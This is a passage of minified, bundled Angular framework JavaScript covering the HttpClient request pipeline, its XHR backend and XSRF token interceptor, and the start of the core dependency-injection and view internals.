this.body?"application/json":null}clone(J={}){const Ae=J.method||this.method,mt=J.url||this.url,Ct=J.responseType||this.responseType,jt=void 0!==J.body?J.body:this.body,pt=void 0!==J.withCredentials?J.withCredentials:this.withCredentials,nt=void 0!==J.reportProgress?J.reportProgress:this.reportProgress;let fe=J.headers||this.headers,Ee=J.params||this.params;const at=J.context??this.context;return void 0!==J.setHeaders&&(fe=Object.keys(J.setHeaders).reduce((Se,ot)=>Se.set(ot,J.setHeaders[ot]),fe)),J.setParams&&(Ee=Object.keys(J.setParams).reduce((Se,ot)=>Se.set(ot,J.setParams[ot]),Ee)),new ce(Ae,mt,jt,{params:Ee,headers:fe,context:at,reportProgress:nt,responseType:Ct,withCredentials:pt})}}var je=(()=>((je=je||{})[je.Sent=0]="Sent",je[je.UploadProgress=1]="UploadProgress",je[je.ResponseHeader=2]="ResponseHeader",je[je.DownloadProgress=3]="DownloadProgress",je[je.Response=4]="Response",je[je.User=5]="User",je))();class Ze{constructor(J,Ae=200,mt="OK"){this.headers=J.headers||new g,this.status=void 0!==J.status?J.status:Ae,this.statusText=J.statusText||mt,this.url=J.url||null,this.ok=this.status>=200&&this.status<300}}class le extends Ze{constructor(J={}){super(J),this.type=je.ResponseHeader}clone(J={}){return new le({headers:J.headers||this.headers,status:void 0!==J.status?J.status:this.status,statusText:J.statusText||this.statusText,url:J.url||this.url||void 0})}}class Oe extends Ze{constructor(J={}){super(J),this.type=je.Response,this.body=void 0!==J.body?J.body:null}clone(J={}){return new Oe({body:void 0!==J.body?J.body:this.body,headers:J.headers||this.headers,status:void 0!==J.status?J.status:this.status,statusText:J.statusText||this.statusText,url:J.url||this.url||void 0})}}class Qe extends Ze{constructor(J){super(J,0,"Unknown Error"),this.name="HttpErrorResponse",this.ok=!1,this.message=this.status>=200&&this.status<300?`Http failure during parsing for ${J.url||"(unknown url)"}`:`Http failure response for ${J.url||"(unknown url)"}: ${J.status} ${J.statusText}`,this.error=J.error||null}}function Ye(xe,J){return{body:J,headers:xe.headers,context:xe.context,observe:xe.observe,params:xe.params,reportProgress:xe.reportProgress,responseType:xe.responseType,withCredentials:xe.withCredentials}}let qe=(()=>{class xe{constructor(Ae){this.handler=Ae}request(Ae,mt,Ct={}){let jt;if(Ae instanceof ce)jt=Ae;else{let fe,Ee;fe=Ct.headers instanceof g?Ct.headers:new g(Ct.headers),Ct.params&&(Ee=Ct.params instanceof oe?Ct.params:new oe({fromObject:Ct.params})),jt=new ce(Ae,mt,void 0!==Ct.body?Ct.body:null,{headers:fe,context:Ct.context,params:Ee,reportProgress:Ct.reportProgress,responseType:Ct.responseType||"json",withCredentials:Ct.withCredentials})}const pt=(0,s.of)(jt).pipe((0,c.b)(fe=>this.handler.handle(fe)));if(Ae instanceof ce||"events"===Ct.observe)return pt;const nt=pt.pipe((0,f.h)(fe=>fe instanceof Oe));switch(Ct.observe||"body"){case"body":switch(jt.responseType){case"arraybuffer":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&!(fe.body instanceof ArrayBuffer))throw new Error("Response is not an ArrayBuffer.");return fe.body}));case"blob":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&!(fe.body instanceof Blob))throw new Error("Response is not a Blob.");return fe.body}));case"text":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&"string"!=typeof fe.body)throw new Error("Response is not a string.");return fe.body}));default:return nt.pipe((0,E.U)(fe=>fe.body))}case"response":return nt;default:throw new Error(`Unreachable: unhandled observe type ${Ct.observe}}`)}}delete(Ae,mt={}){return this.request("DELETE",Ae,mt)}get(Ae,mt={}){return this.request("GET",Ae,mt)}head(Ae,mt={}){return this.request("HEAD",Ae,mt)}jsonp(Ae,mt){return this.request("JSONP",Ae,{params:(new oe).append(mt,"JSONP_CALLBACK"),observe:"body",responseType:"json"})}options(Ae,mt={}){return this.request("OPTIONS",Ae,mt)}patch(Ae,mt,Ct={}){return this.request("PATCH",Ae,Ye(Ct,mt))}post(Ae,mt,Ct={}){return this.request("POST",Ae,Ye(Ct,mt))}put(Ae,mt,Ct={}){return this.request("PUT",Ae,Ye(Ct,mt))}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(_))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();function Ke(xe,J){return J(xe)}function dt(xe,J){return(Ae,mt)=>J.intercept(Ae,{handle:Ct=>xe(Ct,mt)})}const ze=new a.OlP("HTTP_INTERCEPTORS"),De=new a.OlP("HTTP_INTERCEPTOR_FNS");function re(){let xe=null;return(J,Ae)=>(null===xe&&(xe=((0,a.f3M)(ze,{optional:!0})??[]).reduceRight(dt,Ke)),xe(J,Ae))}let ve=(()=>{class xe extends _{constructor(Ae,mt){super(),this.backend=Ae,this.injector=mt,this.chain=null}handle(Ae){if(null===this.chain){const mt=Array.from(new Set(this.injector.get(De)));this.chain=mt.reduceRight((Ct,jt)=>function bt(xe,J,Ae){return(mt,Ct)=>Ae.runInContext(()=>J(mt,jt=>xe(jt,Ct)))}(Ct,jt,this.injector),Ke)}return this.chain(Ae,mt=>this.backend.handle(mt))}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(S),a.LFG(a.lqb))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();const Et=/^\\)\\]\\}\',?\\n/;let Pt=(()=>{class xe{constructor(Ae){this.xhrFactory=Ae}handle(Ae){if("JSONP"===Ae.method)throw new Error("Attempted to construct Jsonp request without HttpClientJsonpModule installed.");return new u.y(mt=>{const Ct=this.xhrFactory.build();if(Ct.open(Ae.method,Ae.urlWithParams),Ae.withCredentials&&(Ct.withCredentials=!0),Ae.headers.forEach((Ne,ut)=>Ct.setRequestHeader(Ne,ut.join(","))),Ae.headers.has("Accept")||Ct.setRequestHeader("Accept","application/json, text/plain, */*"),!Ae.headers.has("Content-Type")){const Ne=Ae.detectContentTypeHeader();null!==Ne&&Ct.setRequestHeader("Content-Type",Ne)}if(Ae.responseType){const Ne=Ae.responseType.toLowerCase();Ct.responseType="json"!==Ne?Ne:"text"}const jt=Ae.serializeBody();let pt=null;const nt=()=>{if(null!==pt)return pt;const Ne=Ct.statusText||"OK",ut=new g(Ct.getAllResponseHeaders()),Rt=function Dt(xe){return"responseURL"in xe&&xe.responseURL?xe.responseURL:/^X-Request-URL:/m.test(xe.getAllResponseHeaders())?xe.getResponseHeader("X-Request-URL"):null}(Ct)||Ae.url;return pt=new le({headers:ut,status:Ct.status,statusText:Ne,url:Rt}),pt},fe=()=>{let{headers:Ne,status:ut,statusText:Rt,url:Zt}=nt(),a1=null;204!==ut&&(a1=typeof Ct.response>"u"?Ct.responseText:Ct.response),0===ut&&(ut=a1?200:0);let _1=ut>=200&&ut<300;if("json"===Ae.responseType&&"string"==typeof a1){const G1=a1;a1=a1.replace(Et,"");try{a1=""!==a1?JSON.parse(a1):null}catch(gn){a1=G1,_1&&(_1=!1,a1={error:gn,text:a1})}}_1?(mt.next(new Oe({body:a1,headers:Ne,status:ut,statusText:Rt,url:Zt||void 0})),mt.complete()):mt.error(new Qe({error:a1,headers:Ne,status:ut,statusText:Rt,url:Zt||void 0}))},Ee=Ne=>{const{url:ut}=nt(),Rt=new Qe({error:Ne,status:Ct.status||0,statusText:Ct.statusText||"Unknown Error",url:ut||void 0});mt.error(Rt)};let at=!1;const Se=Ne=>{at||(mt.next(nt()),at=!0);let ut={type:je.DownloadProgress,loaded:Ne.loaded};Ne.lengthComputable&&(ut.total=Ne.total),"text"===Ae.responseType&&Ct.responseText&&(ut.partialText=Ct.responseText),mt.next(ut)},ot=Ne=>{let ut={type:je.UploadProgress,loaded:Ne.loaded};Ne.lengthComputable&&(ut.total=Ne.total),mt.next(ut)};return Ct.addEventListener("load",fe),Ct.addEventListener("error",Ee),Ct.addEventListener("timeout",Ee),Ct.addEventListener("abort",Ee),Ae.reportProgress&&(Ct.addEventListener("progress",Se),null!==jt&&Ct.upload&&Ct.upload.addEventListener("progress",ot)),Ct.send(jt),mt.next({type:je.Sent}),()=>{Ct.removeEventListener("error",Ee),Ct.removeEventListener("abort",Ee),Ct.removeEventListener("load",fe),Ct.removeEventListener("timeout",Ee),Ae.reportProgress&&(Ct.removeEventListener("progress",Se),null!==jt&&Ct.upload&&Ct.upload.removeEventListener("progress",ot)),Ct.readyState!==Ct.DONE&&Ct.abort()}})}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(n.JF))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();const Ie=new a.OlP("XSRF_ENABLED"),x=new a.OlP("XSRF_COOKIE_NAME",{providedIn:"root",factory:()=>"XSRF-TOKEN"}),b=new a.OlP("XSRF_HEADER_NAME",{providedIn:"root",factory:()=>"X-XSRF-TOKEN"});class B{}let ie=(()=>{class xe{constructor(Ae,mt,Ct){this.doc=Ae,this.platform=mt,this.cookieName=Ct,this.lastCookieString="",this.lastToken=null,this.parseCount=0}getToken(){if("server"===this.platform)return null;const Ae=this.doc.cookie||"";return Ae!==this.lastCookieString&&(this.parseCount++,this.lastToken=(0,n.Mx)(Ae,this.cookieName),this.lastCookieString=Ae),this.lastToken}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(n.K0),a.LFG(a.Lbi),a.LFG(x))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();function Xe(xe,J){const Ae=xe.url.toLowerCase();if(!(0,a.f3M)(Ie)||"GET"===xe.method||"HEAD"===xe.method||Ae.startsWith("http://")||Ae.startsWith("https://"))return J(xe);const mt=(0,a.f3M)(B).getToken(),Ct=(0,a.f3M)(b);return null!=mt&&!xe.headers.has(Ct)&&(xe=xe.clone({headers:xe.headers.set(Ct,mt)})),J(xe)}var wt=(()=>((wt=wt||{})[wt.Interceptors=0]="Interceptors",wt[wt.LegacyInterceptors=1]="LegacyInterceptors",wt[wt.CustomXsrfConfiguration=2]="CustomXsrfConfiguration",wt[wt.NoXsrfProtection=3]="NoXsrfProtection",wt[wt.JsonpSupport=4]="JsonpSupport",wt[wt.RequestsMadeViaParent=5]="RequestsMadeViaParent",wt))();function Vt(xe,J){return{\\u0275kind:xe,\\u0275providers:J}}function Gt(...xe){const J=[qe,Pt,ve,{provide:_,useExisting:ve},{provide:S,useExisting:Pt},{provide:De,useValue:Xe,multi:!0},{provide:Ie,useValue:!0},{provide:B,useClass:ie}];for(const Ae of xe)J.push(...Ae.\\u0275providers);return(0,a.MR2)(J)}const u1=new a.OlP("LEGACY_INTERCEPTOR_FN");let Pe=(()=>{class xe{}return xe.\\u0275fac=function(Ae){return new(Ae||xe)},xe.\\u0275mod=a.oAB({type:xe}),xe.\\u0275inj=a.cJS({providers:[Gt(Vt(wt.LegacyInterceptors,[{provide:u1,useFactory:re},{provide:De,useExisting:u1,multi:!0}]))]}),xe})()},4650:(At,ae,d)=>{"use strict";d.d(ae,{$8M:()=>oi,$WT:()=>$,$Z:()=>E6,AFp:()=>O9,ALo:()=>Xd,AaK:()=>_,AsE:()=>No,BQk:()=>Oo,CHM:()=>O1,CRH:()=>d9,CZH:()=>xc,Ckj:()=>q3,CqO:()=>u0,D6c:()=>Rf,DdM:()=>jd,EJc:()=>Zh,EiD:()=>Z3,EpF:()=>l0,F$t:()=>g0,F4k:()=>d0,FYo:()=>l6,FiY:()=>On,G48:()=>vf,Gf:()=>c9,GfV:()=>d6,GkF:()=>n3,Gpc:()=>C,Gre:()=>U0,HOy:()=>y3,Hsn:()=>v0,IIB:()=>Gh,Ikx:()=>Ho,JOm:()=>L2,JVY:()=>Gc,JZr:()=>G,Jf7:()=>u6,KtG:()=>an,L6k:()=>jc,LAX:()=>Yc,LFG:()=>Pe,LSH:()=>m4,Lbi:()=>Yh,Lck:()=>ju,MAs:()=>o0,MGl:()=>Io,MMx:()=>h7,MR2:()=>sl,NdJ:()=>a3,O4$:()=>H2,OlP:()=>yn,Oqu:()=>Fo,P3R:()=>X3,PXZ:()=>hf,Q6J:()=>X4,QGY:()=>r3,QbO:()=>Wh,Qsj:()=>Cl,R0b:()=>yr,RDi:()=>Fc,Rgc:()=>S3,SBq:()=>Ts,Sil:()=>qh,Suo:()=>l9,TTD:()=>fi,TgZ:()=>To,Tol:()=>T0,Udp:()=>m3,VKq:()=>Yd,W1O:()=>p9,WFA:()=>s3,WLB:()=>Wd,XFs:()=>Ie,Xpm:()=>_1,Xts:()=>g4,Y36:()=>Ga,YKP:()=>Rd,YNc:()=>s0,Yjl:()=>Me,Yz7:()=>Be,Z0I:()=>R,ZZ4:()=>F7,_Bn:()=>Id,_UZ:()=>t3,_Vd:()=>zs,_c5:()=>Of,_uU:()=>F0,aQg:()=>N7,c2e:()=>$h,cJS:()=>P,cg1:()=>M3,d8E:()=>Vo,dDg:()=>cf,dqk:()=>ie,eBb:()=>U3,eFA:()=>W9,eJc:()=>C7,ekj:()=>g3,eoX:()=>U9,evT:()=>h6,f3M:()=>Ue,g9A:()=>R9,h0i:()=>Go,hGG:()=>If,hYB:()=>Ro,hij:()=>Ns,iGM:()=>o9,ifc:()=>fe,ip1:()=>k9,jDz:()=>Fd,kEZ:()=>$d,kL8:()=>nc,kYT:()=>on,kcU:()=>l2,lG2:()=>vt,lcZ:()=>e9,lnq:()=>_3,lqb:()=>ya,lri:()=>V9,mCW:()=>As,n5z:()=>ta,n_E:()=>_c,oAB:()=>P1,oJD:()=>Q3,oxw:()=>m0,pB0:()=>Wc,q3G:()=>Si,qLn:()=>Ls,qOj:()=>K4,qZA:()=>Lo,qzn:()=>Na,rWj:()=>B9,r_U:()=>jh,s9C:()=>o3,sBO:()=>_f,s_b:()=>bc,soG:()=>Dc,tb:()=>j9,tp0:()=>Yi,uIk:()=>q4,vHH:()=>Q,vR:()=>ra,vpe:()=>Qr,wAp:()=>z1,xi3:()=>t9,xp6:()=>v6,ynx:()=>ko,z2F:()=>wc,z3N:()=>Lr,zSh:()=>C4,zs3:()=>ba});var n=d(8929),a=d(2654),s=d(6498),u=d(6787),c=d(2474);function f(e){for(let t in e)if(e[t]===f)return t;throw Error("Could not find renamed property on target object.")}function E(e,t){for(const i in t)t.hasOwnProperty(i)&&!e.hasOwnProperty(i)&&(e[i]=t[i])}function _(e){if("string"==typeof e)return e;if(Array.isArray(e))return"["+e.map(_).join(", ")+"]";if(null==e)return""+e;if(e.overriddenName)return`${e.overriddenName}`;if(e.name)return`${e.name}`;const t=e.toString();if(null==t)return""+t;const i=t.indexOf("\\n");return-1===i?t:t.substring(0,i)}function S(e,t){return null==e||""===e?null===t?"":t:null==t||""===t?e:e+" "+t}const g=f({__forward_ref__:f});function C(e){return e.__forward_ref__=C,e.toString=function(){return _(this())},e}function z(e){return H(e)?e():e}function H(e){return"function"==typeof e&&e.hasOwnProperty(g)&&e.__forward_ref__===C}function j(e){return e&&!!e.\\u0275providers}const G="https://g.co/ng/security#xss";class Q extends Error{constructor(t,i){super(oe(t,i)),this.code=t}}function oe(e,t){return`NG0${Math.abs(e)}${t?": "+t.trim():""}`}function Ce(e){return"string"==typeof e?e:null==e?"":String(e)}function q(e,t){throw new Q(-201,!1)}function De(e,t){null==e&&function re(e,t,i,r){throw new Error(`ASSERTION ERROR: ${e}`+(null==r?"":` [Expected=> ${i} ${r} ${t} <=Actual]`))}(t,e,null,"!=")}function Be(e){return{token:e.token,providedIn:e.providedIn||null,factory:e.factory,value:void 0}}function P(e){return{providers:e.providers||[],imports:e.imports||[]}}function w(e){return X(e,Je)||X(e,Dt)}function R(e){return null!==w(e)}function X(e,t){return e.hasOwnProperty(t)?e[t]:null}function ct(e){return e&&(e.hasOwnProperty(Et)||e.hasOwnProperty(Pt))?e[Et]:null}const Je=f({\\u0275prov:f}),Et=f({\\u0275inj:f}),Dt=f({ngInjectableDef:f}),Pt=f({ngInjectorDef:f});var Ie=(()=>((Ie=Ie||{})[Ie.Default=0]="Default",Ie[Ie.Host=1]="Host",Ie[Ie.Self=2]="Self",Ie[Ie.SkipSelf=4]="SkipSelf",Ie[Ie.Optional=8]="Optional",Ie))();let te;function m(e){const t=te;return te=e,t}function b(e,t,i){const r=w(e);return r&&"root"==r.providedIn?void 0===r.value?r.value=r.factory():r.value:i&Ie.Optional?null:void 0!==t?t:void q(_(e))}const ie=(()=>typeof globalThis<"u"&&globalThis||typeof global<"u"&&global||typeof window<"u"&&window||typeof self<"u"&&typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope&&self)(),Vt={},Gt="__NG_DI_FLAG__",qt="ngTempTokenPath",u1="ngTokenPath",c1=/\\n/gm,It="\\u0275",_t="__source";let kt;function Fe(e){const t=kt;return kt=e,t}function be(e,t=Ie.Default){if(void 0===kt)throw new Q(-203,!1);return null===kt?b(e,void 0,t):kt.get(e,t&Ie.Optional?null:void 0,t)}function Pe(e,t=Ie.Default){return(function x(){return te}()||be)(z(e),t)}function Ue(e,t=Ie.Default){return Pe(e,xe(t))}function xe(e){return typeof e>"u"||"number"==typeof e?e:0|(e.optional&&8)|(e.host&&1)|(e.self&&2)|(e.skipSelf&&4)}function J(e){const t=[];for(let i=0;i<e.length;i++){const r=z(e[i]);if(Array.isArray(r)){if(0===r.length)throw new Q(900,!1);let o,l=Ie.Default;for(let v=0;v<r.length;v++){const F=r[v],Y=mt(F);"number"==typeof Y?-1===Y?o=F.token:l|=Y:o=F}t.push(Pe(o,l))}else t.push(Pe(r))}return t}function Ae(e,t){return e[Gt]=t,e.prototype[Gt]=t,e}function mt(e){return e[Gt]}function pt(e){return{toString:e}.toString()}var nt=(()=>((nt=nt||{})[nt.OnPush=0]="OnPush",nt[nt.Default=1]="Default",nt))(),fe=(()=>{return(e=fe||(fe={}))[e.Emulated=0]="Emulated",e[e.None=2]="None",e[e.ShadowDom=3]="ShadowDom",fe;var e})();const Ee={},at=[],Se=f({\\u0275cmp:f}),ot=f({\\u0275dir:f}),Ne=f({\\u0275pipe:f}),ut=f({\\u0275mod:f}),Rt=f({\\u0275fac:f}),Zt=f({__NG_ELEMENT_ID__:f});let a1=0;function _1(e){return pt(()=>{const t=lt(e),i={...t,decls:e.decls,vars:e.vars,template:e.template,consts:e.consts||null,ngContentSelectors:e.ngContentSelectors,onPush:e.changeDetection===nt.OnPush,directiveDefs:null,pipeDefs:null,dependencies:t.standalone&&e.dependencies||null,getStandaloneInjector:null,data:e.data||{},encapsulation:e.encapsulation||fe.Emulated,id:"c"+a1++,styles:e.styles||at,_:null,schemas:e.schemas||null,tView:null};Wt(i);const r=e.dependencies;return i.directiveDefs=p1(r,!1),i.pipeDefs=p1(r,!0),i})}function gn(e){return O(e)||de(e)}function nn(e){return null!==e}function P1(e){return pt(()=>({type:e.type,bootstrap:e.bootstrap||at,declarations:e.declarations||at,imports:e.imports||at,exports:e.exports||at,transitiveCompileScopes:null,schemas:e.schemas||null,id:e.id||null}))}function on(e,t){return pt(()=>{const i=ke(e,!0);i.declarations=t.declarations||at,i.imports=t.imports||at,i.exports=t.exports||at})}function Ge(e,t){if(null==e)return Ee;const i={};for(const r in e)if(e.hasOwnProperty(r)){let o=e[r],l=o;Array.isArray(o)&&(l=o[1],o=o[0]),i[o]=r,t&&(t[o]=l)}return i}function vt(e){return pt(()=>{const t=lt(e);return Wt(t),t})}function Me(e){return{type:e.type,name:e.name,factory:null,pure:!1!==e.pure,standalone:!0===e.standalone,onDestroy:e.type.prototype.ngOnDestroy||null}}function O(e){return e[Se]||null}function de(e){return e[ot]||null}function h(e){return e[Ne]||null}function $(e){const t=O(e)||de(e)||h(e);return null!==t&&t.standalone}function ke(e,t){const i=e[ut]||null;if(!i&&!0===t)throw new Error(`Type ${_(e)} does not have \'\\u0275mod\' property.`);return i}function lt(e){const t={};return{type:e.type,providersResolver:null,factory:null,hostBindings:e.hostBindings||null,hostVars:e.hostVars||0,hostAttrs:e.hostAttrs||null,contentQueries:e.contentQueries||null,declaredInputs:t,exportAs:e.exportAs||null,standalone:!0===e.standalone,selectors:e.selectors||at,viewQuery:e.viewQuery||null,features:e.features||null,setInput:null,findHostDirectiveDefs:null,hostDirectives:null,inputs:Ge(e.inputs,t),outputs:Ge(e.outputs)}}function Wt(e){e.features?.forEach(t=>t(e))}function p1(e,t){if(!e)return null;const i=t?h:gn;return()=>("function"==typeof e?e():e).map(r=>i(r)).filter(nn)}const w1=0,Qt=1,h1=2,N1=3,Y1=4,T1=5,V1=6,vn=7,E1=8,In=9,Gn=10,D1=11,ci=12,fn=13,Rn=14,cn=15,X1=16,Pn=17,Fn=18,An=19,$n=20,li=21,L1=22,Mn=1,di=2,ri=7,_i=8,Nn=9,ln=10;function dn(e){return Array.isArray(e)&&"object"==typeof e[Mn]}function Sn(e){return Array.isArray(e)&&!0===e[Mn]}function Ei(e){return 0!=(4&e.flags)}function Hn(e){return e.componentOffset>-1}function ui(e){return 1==(1&e.flags)}function pn(e){return!!e.template}function Fi(e){return 0!=(256&e[h1])}function ai(e,t){return e.hasOwnProperty(Rt)?e[Rt]:null}class jn{constructor(t,i,r){this.previousValue=t,this.currentValue=i,this.firstChange=r}isFirstChange(){return this.firstChange}}function fi(){return Ui}function Ui(e){return e.type.prototype.ngOnChanges&&(e.setInput=Li),o2}function o2(){const e=Ci(this),t=e?.current;if(t){const i=e.previous;if(i===Ee)e.previous=t;else for(let r in t)i[r]=t[r];e.current=null,this.ngOnChanges(t)}}function Li(e,t,i,r){const o=this.declaredInputs[i],l=Ci(e)||function ti(e,t){return e[ki]=t}(e,{previous:Ee,current:null}),v=l.current||(l.current={}),F=l.previous,Y=F[o];v[o]=new jn(Y&&Y.currentValue,t,F===Ee),e[r]=t}fi.ngInherit=!0;const ki="__ngSimpleChanges__";function Ci(e){return e[ki]||null}const bn=function(e,t,i){},Gi="svg";function en(e){for(;Array.isArray(e);)e=e[w1];return e}function m2(e,t){return en(t[e])}function _n(e,t){return en(t[e.index])}function pi(e,t){return e.data[t]}function si(e,t){return e[t]}function Vn(e,t){const i=t[e];return dn(i)?i:i[w1]}function xn(e){return 64==(64&e[h1])}function Qn(e,t){return null==t?null:e[t]}function w2(e){e[Fn]=0}function c2(e,t){e[T1]+=t;let i=e,r=e[N1];for(;null!==r&&(1===t&&1===i[T1]||-1===t&&0===i[T1]);)r[T1]+=t,i=r,r=r[N1]}const ye={lFrame:Tn(null),bindingsEnabled:!0};function gt(){return ye.bindingsEnabled}function Tt(){return ye.lFrame.lView}function t1(){return ye.lFrame.tView}function O1(e){return ye.lFrame.contextLView=e,e[E1]}function an(e){return ye.lFrame.contextLView=null,e}function W1(){let e=Bn();for(;null!==e&&64===e.type;)e=e.parent;return e}function Bn(){return ye.lFrame.currentTNode}function sn(e,t){const i=ye.lFrame;i.currentTNode=e,i.isParent=t}function Yn(){return ye.lFrame.isParent}function qn(){ye.lFrame.isParent=!1}function y(){const e=ye.lFrame;let t=e.bindingRootIndex;return-1===t&&(t=e.bindingRootIndex=e.tView.bindingStartIndex),t}function D(){return ye.lFrame.bindingIndex}function Le(){return ye.lFrame.bindingIndex++}function rt(e){const t=ye.lFrame,i=t.bindingIndex;return t.bindingIndex=t.bindingIndex+e,i}function Ft(e,t){const i=ye.lFrame;i.bindingIndex=i.bindingRootIndex=e,o1(t)}function o1(e){ye.lFrame.currentDirectiveIndex=e}function l1(e){const t=ye.lFrame.currentDirectiveIndex;return-1===t?null:e[t]}function F1(){return ye.lFrame.currentQueryIndex}function A1(e){ye.lFrame.currentQueryIndex=e}function C1(e){const t=e[Qt];return 2===t.type?t.declTNode:1===t.type?e[V1]:null}function S1(e,t,i){if(i&Ie.SkipSelf){let o=t,l=e;for(;!(o=o.parent,null!==o||i&Ie.Host||(o=C1(l),null===o||(l=l[cn],10&o.type))););if(null===o)return!1;t=o,e=l}const r=ye.lFrame=tn();return r.currentTNode=t,r.lView=e,!0}function Q1(e){const t=tn(),i=e[Qt];ye.lFrame=t,t.currentTNode=i.firstChild,t.lView=e,t.tView=i,t.contextLView=e,t.bindingIndex=i.bindingStartIndex,t.inI18n=!1}function tn(){const e=ye.lFrame,t=null===e?null:e.child;return null===t?Tn(e):t}function Tn(e){const t={currentTNode:null,isParent:!0,lView:null,tView:null,selectedIndex:-1,contextLView:null,elementDepthCount:0,currentNamespace:null,currentDirectiveIndex:-1,bindingRootIndex:-1,bindingIndex:-1,currentQueryIndex:0,parent:e,child:null,inI18n:!1};return null!==e&&(e.child=t),t}function En(){const e=ye.lFrame;return ye.lFrame=e.parent,e.currentTNode=null,e.lView=null,e}const wn=En;function e2(){const e=En();e.isParent=!0,e.tView=null,e.selectedIndex=-1,e.contextLView=null,e.elementDepthCount=0,e.currentDirectiveIndex=-1,e.currentNamespace=null,e.bindingRootIndex=-1,e.bindingIndex=-1,e.currentQueryIndex=0}function hn(){return ye.lFrame.selectedIndex}function zn(e){ye.lFrame.selectedIndex=e}function $1(){const e=ye.lFrame;return pi(e.tView,e.selectedIndex)}function H2(){ye.lFrame.currentNamespace=Gi}function l2(){!function Y2(){ye.lFrame.currentNamespace=null}()}function y1(e,t){for(let i=t.directiveStart,r=t.directiveEnd;i<r;i++){const l=e.data[i].type.prototype,{ngAfterContentInit:v,ngAfterContentChecked:F,ngAfterViewInit:Y,ngAfterViewChecked:me,ngOnDestroy:$e}=l;v&&(e.contentHooks??(e.contentHooks=[])).push(-i,v),F&&((e.contentHooks??(e.contentHooks=[])).push(i,F),(e.contentCheckHooks??(e.contentCheckHooks=[])).push(i,F)),Y&&(e.viewHooks??(e.viewHooks=[])).push(-i,Y),me&&((e.viewHooks??(e.viewHooks=[])).push(i,me),(e.viewCheckHooks??(e.viewCheckHooks=[])).push(i,me)),null!=$e&&(e.destroyHooks??(e.destroyHooks=[])).push(i,$e)}}function M1(e,t,i){he(e,t,3,i)}function H1(e,t,i,r){(3&e[h1])===i&&he(e,t,i,r)}function N(e,t){let i=e[h1];(3&i)===t&&(i&=2047,i+=1,e[h1]=i)}function he(e,t,i,r){const l=r??-1,v=t.length-1;let F=0;for(let Y=void 0!==r?65535&e[Fn]:0;Y<v;Y++)if("number"==typeof t[Y+1]){if(F=t[Y],null!=r&&F>=r)break}else t[Y]<0&&(e[Fn]+=65536),(F<l||-1==l)&&(W(e,i,t,Y),e[Fn]=(4294901760&e[Fn])+Y+2),Y++}function W(e,t,i,r){const o=i[r]<0,l=i[r+1],F=e[o?-i[r]:i[r]];if(o){if(e[h1]>>11<e[Fn]>>16&&(3&e[h1])===t){e[h1]+=2048,bn(4,F,l);try{l.call(F)}finally{bn(5,F,l)}}}else{bn(4,F,l);try{l.call(F)}finally{bn(5,F,l)}}}const Ve=-1;class ht{constructor(t,i,r){this.factory=t,this.resolving=!1,this.canSeeViewProviders=i,this.injectImpl=r}}function rn(e,t,i){let r=0;for(;r<i.length;){const o=i[r];if("number"==typeof o){if(0!==o)break;r++;const l=i[r++],v=i[r++],F=i[r++];e.setAttribute(t,v,F,l)}else{const l=o,v=i[++r];Di(l)?e.setProperty(t,l,v):e.setAttribute(t,l,v),r++}}return r}function kn(e){return 3===e||4===e||6===e}function Di(e){return 64===e.charCodeAt(0)}function wi(e,t){if(null!==t&&0!==t.length)if(null===e||0===e.length)e=t.slice();else{let i=-1;for(let r=0;r<t.length;r++){const o=t[r];"number"==typeof o?i=o:0===i||t2(e,i,o,null,-1===i||2===i?t[++r]:null)}}return e}function t2(e,t,i,r,o){let l=0,v=e.length;if(-1===t)v=-1;else for(;l<e.length;){const F=e[l++];if("number"==typeof F){if(F===t){v=-1;break}if(F>t){v=l-1;break}}}for(;l<e.length;){const F=e[l];if("number"==typeof F)break;if(F===i){if(null===r)return void(null!==o&&(e[l+1]=o));if(r===e[l+1])return void(e[l+2]=o)}l++,null!==r&&l++,null!==o&&l++}-1!==v&&(e.splice(v,0,t),l=v+1),e.splice(l++,0,i),null!==r&&e.splice(l++,0,r),null!==o&&e.splice(l++,0,o)}function mi(e){return e!==Ve}function Ii(e){return 32767&e}function ji(e,t){let i=function Ai(e){return e>>16}(e),r=t;for(;i>0;)r=r[cn],i--;return r}let or=!0;function $2(e){const t=or;return or=e,t}const K2=255,Cr=5;let Rr=0;const _2={};function cr(e,t){const i=Fr(e,t);if(-1!==i)return i;const r=t[Qt];r.firstCreatePass&&(e.injectorIndex=t.length,Pr(r.data,e),Pr(t,null),Pr(r.blueprint,null));const o=V2(e,t),l=e.injectorIndex;if(mi(o)){const v=Ii(o),F=ji(o,t),Y=F[Qt].data;for(let me=0;me<8;me++)t[l+me]=F[v+me]|Y[v+me]}return t[l+8]=o,l}function Pr(e,t){e.push(0,0,0,0,0,0,0,0,t)}function Fr(e,t){return-1===e.injectorIndex||e.parent&&e.parent.injectorIndex===e.injectorIndex||null===t[e.injectorIndex+8]?-1:e.injectorIndex}function V2(e,t){if(e.parent&&-1!==e.parent.injectorIndex)return e.parent.injectorIndex;let i=0,r=null,o=t;for(;null!==o;){if(r=Dr(o),null===r)return Ve;if(i++,o=o[cn],-1!==r.injectorIndex)return r.injectorIndex|i<<16}return Ve}function Mr(e,t,i){!function qr(e,t,i){let r;"string"==typeof i?r=i.charCodeAt(0)||0:i.hasOwnProperty(Zt)&&(r=i[Zt]),null==r&&(r=i[Zt]=Rr++);const o=r&K2;t.data[e+(o>>Cr)]|=1<<o}(e,t,i)}function lr(e,t,i){if(i&Ie.Optional||void 0!==e)return e;q()}function Nr(e,t,i,r){if(i&Ie.Optional&&void 0===r&&(r=null),!(i&(Ie.Self|Ie.Host))){const o=e[In],l=m(void 0);try{return o?o.get(t,r,i&Ie.Optional):b(t,r,i&Ie.Optional)}finally{m(l)}}return lr(r,0,i)}function Hr(e,t,i,r=Ie.Default,o){if(null!==e){if(1024&t[h1]){const v=function q2(e,t,i,r,o){let 